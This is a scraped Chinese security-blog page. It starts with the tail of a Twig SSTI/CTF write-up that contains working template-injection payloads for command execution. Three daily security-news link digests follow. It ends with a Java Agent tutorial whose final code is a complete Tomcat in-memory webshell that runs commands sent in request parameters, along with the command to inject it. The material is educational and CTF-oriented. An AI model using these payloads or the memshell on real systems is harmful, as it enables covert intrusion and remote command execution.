array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用 } array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed可以看到array_reduce是有三个参数的 $array 和 $arrow 直接被 array_filter 函数调用,我们可以利用该性质自定义一个危险函数从而达到rce 刚开始还是像前面一样构造 {{["id", 0]|reduce("passthru")}}但是发现没有执行成功,原因是第一次调用的是 passthru($initial, "id")因为$initial为null,所以会报错,我们想要对他进行赋值才行 payload {{[0, 0]|reduce("system", "id")}} {{[0, 0]|reduce("passthru", "id")}} {{[0, 0]|reduce("exec", "id")}}    // 无回显 题目 [BJDCTF2020]Cookie is so stable 进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint 返回访问flag.php 经过简单测试猜测为twig(传入{{7*'7'}}后Jinja2输出7777777,Twig输出49) 同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self来测试 cookie user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} twig1.x,我们直接cat /flag试试 cookie user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 基本思路还是测试出为哪个模板,哪个版本,测试payload即可 后言 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,那么就很有可能出现SSTI,并且根据其模板引擎的复杂性和开发语言的特性,很大几率会出现非常严重的问题 联想到最近的log4j2漏洞,与SSTI类似,都是将用户的输入当作可信任内容,这才出现了大大小小的安全问题 一句话总结:永远不要相信用户的输入
网络安全日报 2021年12月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新型"PseudoManuscrypt"间谍软件针对数千计的工业系统 https://www.securityweek.com/thousands-industrial-systems-targeted-new-pseudomanuscrypt-spyware 2、MuddyWater组织利用Aclip后门攻击航空公司 https://www.securityweek.com/iran-linked-apt-abuses-slack-attacks-asian-airline 3、联想笔记本电脑ImControllerService服务存在漏洞可用于提权 https://securityaffairs.co/wordpress/125711/hacking/lenovo-laptops-privileges-escalation-flaws.html 4、丙烷气体分销商Superior Plus遭到勒索软件攻击 https://www.darkreading.com/attacks-breaches/propane-distributor-hit-with-ransomware 5、研究表明对抗性攻击会使人工智能和医生作出错误诊断 https://www.govinfosecurity.com/study-attacks-manipulate-medical-imaging-ai-outcomes-a-18131 6、攻击者利用网络钓鱼活动分发Agent Tesla恶意程序 https://www.bleepingcomputer.com/news/security/phishing-campaign-uses-powerpoint-macros-to-drop-agent-tesla/ 7、FBI 意外发现HelloKitty 勒索软件团伙疑似在乌克兰境外活动 https://securityaffairs.co/wordpress/125675/cyber-crime/hellokitty-ransomware-ukraine.html 8、黑客利用 Log4J 漏洞发动大规模网络攻击 https://arstechnica.com/information-technology/2021/12/hackers-launch-over-840000-attacks-through-log4j-flaw/ 9、攻击者通过击溃Ubuntu 的AccountsService 获得 root https://www.bleepingcomputer.com/news/security/grafana-fixes-zero-day-vulnerability-after-exploits-spread-over-twitter/ 10、Ascendex加密货币交易所遭到黑客攻击-7700万美元被盗 https://www.hackread.com/ascendex-cryptocurrency-exchange-hacked/
网络安全日报 2021年12月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软发现多个利用 Log4j2 漏洞的国家级别 APT https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw 2、SAP 修补了受 Log4Shell 漏洞影响的20 个应用程序 https://www.securityweek.com/sap-patches-log4shell-vulnerability-20-applications 3、黑客使用恶意 IIS 模块窃取 Microsoft Exchange 凭据 https://thehackernews.com/2021/12/hackers-using-malicious-iis-server.html 4、Anubis安卓银行木马针对数百个金融应用程序进行攻击 https://thehackernews.com/2021/12/update-google-chrome-to-patch-new-zero.html 5、美国阿片类药物门诊治疗中心BHG遭受网络攻击 https://www.bleepingcomputer.com/news/security/cyberattack-on-bhg-opioid-treatment-network-disrupts-patient-care/ 6、勒索软件Khonsari和Nemesis Kitten正在利用Log4j2漏洞 https://www.zdnet.com/article/khonsari-ransomware-iranian-group-nemesis-kitten-seen-exploiting-log4j/ 7、Log4j2 被发现新的DoS漏洞(CVE-2021-45046) https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html 8、美国国土安全部宣布推出"Hack DHS"漏洞赏金计划 https://securityaffairs.co/wordpress/125646/security/hack-dhs-bug-bounty-program.html 9、quebec因Log4Shell漏洞被披露而关闭了数千个网站 https://securityaffairs.co/wordpress/125556/hacking/quebec-shut-down-sites-log4shell.html 10、REvil 勒索软件分支机构在罗马尼亚被捕 https://thehackernews.com/2021/12/ransomware-affiliate-arrested-in.html
网络安全日报 2021年12月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二补丁日修复了7个关键安全漏洞 https://threatpost.com/exploited-microsoft-zero-day-spoofing-malware/177045/ 2、已有数十个僵尸网络在利用Log4j2漏洞进行攻击 https://threatpost.com/log4shell-attacks-origin-botnet/176977/ 3、Apple iOS 更新修复了 iPhone 远程越狱漏洞 https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html 4、伊朗 APT 在网络间谍活动中瞄准中东电信运营商 https://www.securityweek.com/iranian-apt-targets-middle-east-telecoms-operators-espionage-campaign 5、Chrome 96 更新补丁修复了0day漏洞 https://www.securityweek.com/chrome-96-update-patches-exploited-zero-day-vulnerability 6、制造业和工控软件受Log4j2漏洞影响 https://www.securityweek.com/industrial-organizations-targeted-log4shell-attacks 7、Adobe更新修复了多个产品中的 60 多个漏洞 https://securityaffairs.co/wordpress/125640/security/adobe-60-vulnerabilities-multiple-products.html 8、TinyNuke银行恶意软件针对法国实体进行攻击 https://www.proofpoint.com/us/blog/threat-insight/tinynuke-banking-malware-targets-french-entities 9、加密货币交易所Ascendex遭受网络攻击 https://www.hackread.com/ascendex-cryptocurrency-exchange-hacked/ 10、CISA 命令联邦机构在 12 月 24 日之前修复 Log4j2 漏洞 https://securityaffairs.co/wordpress/125623/security/cisa-log4shell-actions.html
Java Agent学习
前言 今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法: 实现premain方法,在JVM启动前加载 实现agentmain方法,在JVM启动后attach加载 因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过https://mp.weixin.qq.com/s/vDIteSf9u32m6odrzWUPSg,因此抱着学习和复习的态度来复现下本文提到的技术点。 JAVA Agent两种方法复现 Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。 premain 通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar: package com.test; public class Hello {   public static void main(String[] args) {       hello();   }   public static void hello(){       for (int i = 0; i < 1000; i++) {           System.out.println("hello");           try {               Thread.sleep(1000);           } catch (InterruptedException e) {               e.printStackTrace();           }       }   } } 生成jar包: Build -> Build Artifacts -> Build 正常运行jar包得到如下输出: java -jar hello.jar 接下来编写一个实现premain方法的JAVA程序: package com.test; import java.lang.instrument.Instrumentation; public class premainagent {   public static void premain(String args, Instrumentation inst) throws Exception{       for (int i = 0; i < 10; i++) {           System.out.println("hello I`m premain agent!!!");       }   } } 并在MANIFEST.MF添加一行: Premain-Class: com.test.premainagent 生成jar包并加载执行: java -javaagent:premainagent.jar -jar hello.jar 可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容: 前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解: agentmain 但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。 编写一个实现了agentmain方法的JAVA程序: package com.test; import java.lang.instrument.Instrumentation; public class agentmaintest {   public static void agentmain(String agentArgs, Instrumentation inst) {       for (int i = 0; i < 10; i++) {           System.out.println("hello I`m agentMain!!!");       }   } } 并在MANIFEST.MF添加一行: Agent-Class: com.test.agentmaintest 生成jar包。 再编写一个attach程序(附2): import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class TestAgentMain {   public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{       //获取当前系统中所有 运行中的 虚拟机       System.out.println("running JVM start ");       List<VirtualMachineDescriptor> list = VirtualMachine.list();       for (VirtualMachineDescriptor vmd : list) {           System.out.println(vmd.displayName());           String aim = args[0];//你的jar包           if (vmd.displayName().endsWith(aim)) {               System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));               VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());               virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包               virtualMachine.detach();           }       }   } } 生成jar包。 依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar: 首先运行hello.jar: java -jar hello.jar 对hello.jar进行启动后的attach加载: java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar 发现成功在hello.jar运行过程中进行了字节码修改: 内存马 既然可以修改某个方法的实现,那如果修改spring boot的Filter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。 依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain 得加上这两句: ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader())); 除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行: Can-Retransform-Classes: true 且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下: package com.test; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import javassist.*; import java.lang.instrument.UnmodifiableClassException; import java.lang.instrument.IllegalClassFormatException; import java.io.IOException; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.NotFoundException; public class memshell {   public static void agentmain(String agentArgs, Instrumentation instrumentation)           throws ClassNotFoundException, UnmodifiableClassException {       instrumentation.addTransformer(new ClassFileTransformer() {           @Override           public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                                   ProtectionDomain protectionDomain, byte[] classfileBuffer){               System.out.println("premain load Class2:" + className);               if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){                   System.out.println("nonononononono");                   return null;               }else {                   try {                       System.out.println("tryyyyyyyy");                       ClassPool classPool = ClassPool.getDefault();                       classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));                       if (classBeingRedefined != null) {                           ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                           classPool.insertClassPath(ccp);                       }                       CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                       CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");                       String source = "{javax.servlet.http.HttpServletRequest request = $1;" +                               "javax.servlet.http.HttpServletResponse response = $2;" +                               "request.setCharacterEncoding(\"UTF-8\");" +                               "String result = \"\";" +                               "String password = request.getParameter(\"password\");" +                               "if (password != null && password.equals(\"xxxxxx\")) {" +                               "String cmd = request.getParameter(\"cmd\");" +                               "if (cmd != null && cmd.length() > 0) {" +                               "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +                               "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +                               "byte[] b = new byte[1024];" +                               "int a = -1;" +                               "while ((a = in.read(b)) != -1) {" +                               "baos.write(b, 0, a);" +                               "}" +                               "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +                               "}" +                               "}}";                       ctMethod.insertBefore(source);                       System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");                       byte[] byteCode = ctClass.toBytecode();                       ctClass.detach();                       return byteCode;                   } catch (Exception e) {                       e.printStackTrace();                   }                   return null;               }           }       },true);       instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));   } } 打包成jar,然后启动spring boot: 开始注入: java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar 成功执行命令: 总结 本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。 附1:https://xz.aliyun.com/t/9450 附2:https://blog.csdn.net/qq_41874930/article/details/121284684
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页